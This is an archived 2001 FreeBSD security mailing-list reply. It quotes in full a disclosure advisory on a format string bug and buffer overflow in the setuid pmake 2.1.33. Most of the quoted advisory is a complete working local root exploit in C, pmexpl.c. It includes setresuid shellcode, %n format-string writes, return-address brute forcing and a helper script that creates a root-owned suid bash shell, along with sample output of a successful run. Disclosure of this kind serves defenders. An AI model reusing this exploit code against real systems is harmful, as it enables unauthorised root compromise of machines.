Date: Wed, 21 Nov 2001 22:20:11 -0600 (CST) From: Mike Silbersack <silby@silby.com> To: <freebsd-security@freebsd.org> Subject: Re: Advisory: Berkeley pmake Message-ID: <20011121221635.C2710-100000@achilles.silby.com> In-Reply-To: <3BFBC625.371BC65C@starzetz.de>
next in thread | previous in thread | raw e-mail | index | archive | help
FWIW, I decided to look at our (pmake-derived) make. It appears that this bug was fixed in changes made by NetBSD folk which we imported over 5 years ago. That's cool. :) In any case, since we don't have make setuid, it looks like it was never an issue for us. Mike "Silby" Silbersack On Wed, 21 Nov 2001, Paul Starzetz wrote: > 1. Problem description > ---------------------- > > There is a format string bug in the Berkeley's pmake 2.1.33 and below > (parallel make) package as well as a buffer overflow problem. Pmake is > suid root on various Linux distributions and uses root privileges for > binding to low TCP ports. The ordinary format string bug leads to local > root compromise on all vulnerable machines. > > > 2. Details > ---------- > > The vulnerable code can be found in src/job.c at line 720 and looks > like: > > if (! (job->flags & JOB_SILENT) && !shutUp && > commandShell->hasEchoCtl) { > DBPRINTF ("%s\n", commandShell->echoOff); > DBPRINTF (commandShell->errCheck, cmd); > shutUp = TRUE; > } > > and in src/str.c line 170: > > register char *tstr; /* Pointer into tstring */ > char tstring[512]; /* Temporary storage for the > * current word */ > > > So if the user puts a shell definition into the Makefile, pmake will use > errCheck for output formatting which is controllable by the user. The > following Makefile demonstrates the format string problem: > > all: > -echo blah > > .SHELL : path=/bin/sh echo="" quiet="" hasErrCtl=no check=%x%x%x%x%x > > Putting a long line (>512 characters) in place of the '%x' results in > SIGSEGV and possible overwrite of the return address on the stack (a > very carefully prepared string is needed). > > > 3. Solution > ----------- > > The patch for the format string bug is obvious. Temporary solution is to > remove the suid bit from the binary. > > > 4. Status > --------- > > Vendors informed in July 2001. > > > 5. Exploit > ---------- > > A hole is a hole is a ... only if it is exploitable. The attached C > source code will brute force the format string and create a suid shell. > There is nothing special about it - the only hard point is to get the > write length correctly. Succesfull exploitation looks like: > > > paul@phoenix:~/expl/pmake > ./pm -w+2 > > ***************************************** > * * > * pmake local root exploit * > * by IhaQueR@IRCnet '2001 * > * * > ***************************************** > > > > * PHASE 1 > > preparing new environment > cleaning > preparing shell script > allocating pipe > stdout/in preparation > generating Makefile > finished setup > > > * PHASE 2 > > digging magic string: 0 1 2 3 4 5 6 7 > 8 9 10 11 12 > found mark, parsing output > FOUND magic string with pading=0 output length=1446 > > > * PHASE 3 > > looking for write position: 1 * FOUND * > FOUND write position at index=1 > creating final makefile > creating shell in the environment > > > * PHASE 4 > > brute force RET: 0xbfff73b0 0xbfff73b4 0xbfff73b8 > 0xbfff73bc 0xbfff73c0 > > Paradox, created suid shell at /home/paul/expl/pmake/sush > > > ----------------------------------- pmexpl.c > ----------------------------------- > > /**************************************************************** > * * > * Pmake <= 2.1.33 local root exploit * > * coded by IhaQueR@IRCnet * > * compile with gcc -pmexpl-c -o pm * > * meet me at HAL '2001 * > * * > ****************************************************************/ > > > > > > #include <stdio.h> > #include <unistd.h> > #include <fcntl.h> > #include <sys/stat.h> > #include <sys/wait.h> > #include <string.h> > #include <signal.h> > #include <stdlib.h> > > > > // some definitions > #define TARGET "/usr/bin/pmake" > #define MKFILE "Makefile" > #define MKMSH "./mkmsh" > #define TMPLEN 256 > #define USERSTACK 0xc0000000u > #define NN "\E[m" > #define GR "\E[32m" > #define RD "\E[31m" > #define BL "\E[34m" > #define BD "\E[1m" > #define FL "\E[5m" > #define UL "\E[4m" > > > extern char **environ; > > static const char *banner = "\n" > BL"*****************************************\n" > "*\t\t\t\t\t*\n" > "*\tpmake local root exploit\t*\n" > "*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n" > "*\t\t\t\t\t*\n" > "*****************************************\n" > "\n"NN; > > static const char *usage = "\n" > UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n" > "\t\t-s <shell addr>\n" > "\t\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake > 2.1.33>\n" > "\t\t-m <attempts>\n" > "\t\t-p <%%g preload>\n" > "\n"; > > static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh > echo=\"\" quiet=\"\" hasErrCtl=no check="; > > // setresuid(0,0,0) shellcode > static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" > "\xb0\xa4\xcd\x80" > "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" > "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" > "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh"; > > // our suid shell maker > static char mkmsh[] = "#!/bin/bash\n" > "cat <<__DUPA__>sush.c\n" > "#include <stdio.h>\n" > "#include <unistd.h>\n" > "main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\", > NULL);}\n" > "__DUPA__\n" > "gcc sush.c -o sush >/dev/null 2>&1\n" > "chown 0.0 sush\n" > "chmod u+s sush\n"; > > static char *fromenv[] = { "TERM", > "HOME", > "PATH" > }; > > #define numenv (sizeof(fromenv)/sizeof(char*)+2) > > static char *myenv[numenv]; > static char eb[numenv][TMPLEN]; > > int cn=0; > > > void child_kill(int v) > { > cn--; > } > > > int do_fork() > { > cn++; > return fork(); > } > > > int main(int ac, char** av) > { > int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel; > unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel; > unsigned char *ptr; > char buf[16384]; > char buf2[16384]; > char aaaa[1024*32]; > char head[64]; > struct stat sb; > fd_set rs; > > > // setup defaults > // shell address is calculated from user stack location and the big nop > buffer...should work :-/ > shadr = USERSTACK - sizeof(aaaa)/2; > wadr = 0xbfff73b0; > mx = 512; > gprel=150; > wdel=0; > > setpgrp(); > setsid(); > > printf(banner); > > // parse options > if(ac!=1) { > res = getopt(ac, av, "hw:s:a:m:p:"); > while(res!=-1) { > switch(res) { > case 'w' : > wdel = atoi(optarg); > break; > > case 's' : > sscanf(optarg, "%x", &shadr); > break; > > case 'a' : > sscanf(optarg, "%x", &wadr); > break; > > case 'm' : > sscanf(optarg, "%d", &mx); > break; > > case 'p' : > sscanf(optarg, "%d", &gprel); > if(gprel==0) > gprel=1; > break; > > case 'h' : > default : > printf(usage, av[0]); > exit(0); > break; > } > res = getopt(ac, av, "hw:s:a:m:p:"); > } > } > > > // phase 1 : setup > printf("\n\n"BD BL"* PHASE 1\n"NN); > > // prepare environ > printf("\n\tpreparing new environment"); > memset(aaaa, 'A', sizeof(aaaa)); > aaaa[4]='='; > up=(unsigned*)(aaaa+5); > for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++) > up[i]=0x41424344; > aaaa[sizeof(aaaa)-1]=0; > len1=strlen(aaaa); > > // buffer overflow :-) > myenv[0]=aaaa; > for(i=1; i<numenv-1; i++) { > myenv[i]=eb[i-1]; > strcpy(eb[i-1], fromenv[i-1]); > if(!strchr(fromenv[i-1], '=')) { > strcat(eb[i-1], "="); > strcat(eb[i-1], getenv(fromenv[i-1])); > } > } > myenv[numenv-1]=NULL; > > // clean > printf("\n\tcleaning"); > unlink("LOCK.make"); > unlink("sush"); > unlink("sush.c"); > unlink("mkmsh"); > system("rm -rf /tmp/make* >/dev/null 2>&1"); > > // our suid shell > printf("\n\tpreparing shell script"); > mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH); > if(mk<0) > perror("open"), exit(1); > write(mk, mkmsh, strlen(mkmsh)); > close(mk); > > // comm pipe > printf("\n\tallocating pipe"); > res = pipe(pd); > if(res<0) > perror("pipe"), exit(2); > > // redirect stdin/out > printf("\n\tstdout/in preparation"); > res = dup2(pd[1], 2); > if(res<0) > perror("dup2"), exit(3); > > fd = open("/dev/null", O_RDWR); > if(fd<0) > perror("open"), exit(4); > > // our makefile > printf("\n\tgenerating Makefile"); > mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU); > if(mk<0) > perror("open"), exit(5); > write(mk, mkfile, strlen(mkfile)); > for(i=0; i<gprel; i++) > write(mk, "%g", 2); > fsync(mk); > > // child killer > printf("\n\tfinished setup"); > if(signal(SIGCHLD, &child_kill)==SIG_ERR) > perror("signal"), exit(6); > > > // phase 2 : dig format string > printf("\n\n\n" BD BL "* PHASE 2\n"NN); > printf("\n\tdigging magic string:\t"); > > cnt=0; > while(1) { > > lseek(mk, -2, SEEK_CUR); > write(mk, "%g%x", 4); > fsync(mk); > usleep(1); > > pid = do_fork(); > > // get child output > if(pid) { > printf("%4d ", cnt); > fflush(stdout); > > do { > bzero(buf, sizeof(buf)); > res = read(pd[0], buf, sizeof(buf)-1); > if(res > 128) { > break; > } > } while(1); > kill(SIGTERM, pid); > usleep(1); > waitpid(pid, NULL, WUNTRACED); > bzero(buf2, sizeof(buf2)); > read(pd[0], buf2, sizeof(buf2)-1); > if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0) > read(pd[0], buf2, sizeof(buf2)-1); > > // look for padding > pad=-1; > if(strstr(buf, "41424344")) { > pad=0; > } > else if(strstr(buf, "42434441")) { > pad=1; > } > else if(strstr(buf, "43444142")) { > pad=2; > } > else if(strstr(buf, "44414243")) { > pad=3; > } > > // if got the mark parse output for final string > if(pad!=-1) { > printf("\n\tfound mark, parsing output"); > ptr = strtok(buf, "\t\n "); > while(ptr) { > if(strlen(ptr)>64) > break; > ptr = strtok(NULL, "\t\n "); > } > > // calculate write length -6, -8 hm I'm dunno about the 16? > wlen=strlen(ptr)+wdel-16; > printf("\n\tFOUND magic string with pading=%d output length=%d", > pad, wlen); > > > // PHASE 3 : find write pos in aaaa > printf("\n\n\n" BD BL "* PHASE 3\n"NN); > > printf("\n\tlooking for write position: "); > > up=(unsigned*)(aaaa+5-pad); > cnt=0; > > for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) { > old=up[i]; > up[i]=0xabcdef67; > printf("%4d ", i); > sprintf(head, "%x", up[i]); > fflush(stdout); > > if(cn) > read(pd[0], buf2, sizeof(buf2)-1); > pid = do_fork(); > if(pid) { > do { > bzero(buf, sizeof(buf)); > FD_ZERO(&rs); > FD_SET(pd[0], &rs); > select(pd[0]+1, &rs, NULL, NULL, NULL); > res = read(pd[0], buf, sizeof(buf)-1); > if(res > 128) { > break; > } > } while(1); > kill(SIGTERM, pid); > usleep(1); > read(pd[0], buf2, sizeof(buf2)-1); > > // up[i] is now the place for the beginning of our address field > if(strstr(buf, head)) { > printf(" * FOUND *"); > fflush(stdout); > up[i]=old; > idx=i; > printf("\n\tFOUND write position at index=%d", i); > up[i]=old; > ptr = strtok(buf, "\t\n "); > while(ptr) { > if(strlen(ptr)>64) > break; > ptr = strtok(NULL, "\t\n "); > } > > // construct write 'head': > printf("\n\tcreating final makefile"); > fflush(stdout); > lseek(mk, -2, SEEK_CUR); > > ptr = (unsigned char*)&shadr; > for(j=0; j<4; j++) { > flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u)); > wlen = wlen + flip; > sprintf(head+j*8, "%%%04dx%%n", flip); > } > head[32] = 0; > write(mk, head, strlen(head)); > > // brute force RET on the stack upon success > printf("\n\tcreating shell in the environment"); > > // create env shell > ptr = (unsigned char*)&(up[i+2*10]); > while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) { > *ptr=0x90; > ptr++; > } > > strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode, > strlen(hellcode)); > aaaa[sizeof(aaaa)-1]=0; > if(len1!=strlen(aaaa)) { > printf(BD RD"\nERROR: len changed!\n"NN); > exit(7); > } > > // phase 4: brute force > printf("\n\n\n"BD BL"* PHASE 4\n"NN); > printf("\n\tbrute force RET:\t"); > fflush(stdout); > cnt=0; > > while(cnt<mx) { > > for(j=0; j<4; j++) { > up[idx+2*j] = wadr + j%4; > up[idx+2*j+1] = wadr + j%4; > } > > pid = do_fork(); > if(pid) { > printf(" 0x%.8x", wadr); > fflush(stdout); > waitpid(pid, NULL, WUNTRACED); > res = stat("sush", &sb); > if(!res && sb.st_uid==0) { > printf(BD GR"\n\nParadox, created suid shell at > %s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1)); > system("rm -rf /tmp/make* >/dev/null 2>&1"); > exit(0); > } > } > else { > res = dup2(fd, 1); > if(res<0) > perror("dup2"), exit(8); > res = dup2(fd, 2); > if(res<0) > perror("dup2"), exit(9); > > execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); > _exit(10); > } > if(cnt%8==7) > printf("\n\t\t\t\t"); > cnt++; > wadr += 4; > } > // failure > printf(BD RD"\nFAILED :-("NN); > system("rm -rf /tmp/make* >/dev/null 2>&1"); > exit(11); > } > } > else { > res = dup2(fd, 1); > if(res<0) > perror("dup2"), exit(12); > execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); > exit(13); > } > up[i]=old; > waitpid(pid, NULL, WUNTRACED); > } > > printf(BD RD"\n\tstrange error, write pos not found!\n"NN); > system("rm -rf /tmp/make* >/dev/null 2>&1"); > exit(14); > > ptr = strtok(buf, "\n"); > while(ptr) { > printf("\nLINE [%s]", ptr); > ptr = strtok(NULL, "\n"); > } > > exit(15); > } > > // start target and read output > } > else { > res = dup2(fd, 1); > if(res<0) > perror("dup2"), exit(16); > execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); > exit(17); > } > > if(cnt%8==7) > printf("\n\t\t\t\t"); > cnt++; > } > > printf(BD RD"\nFAILED\n"NN); > system("rm -rf /tmp/make* >/dev/null 2>&1"); > > return 0; > } > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20011121221635.C2710-100000>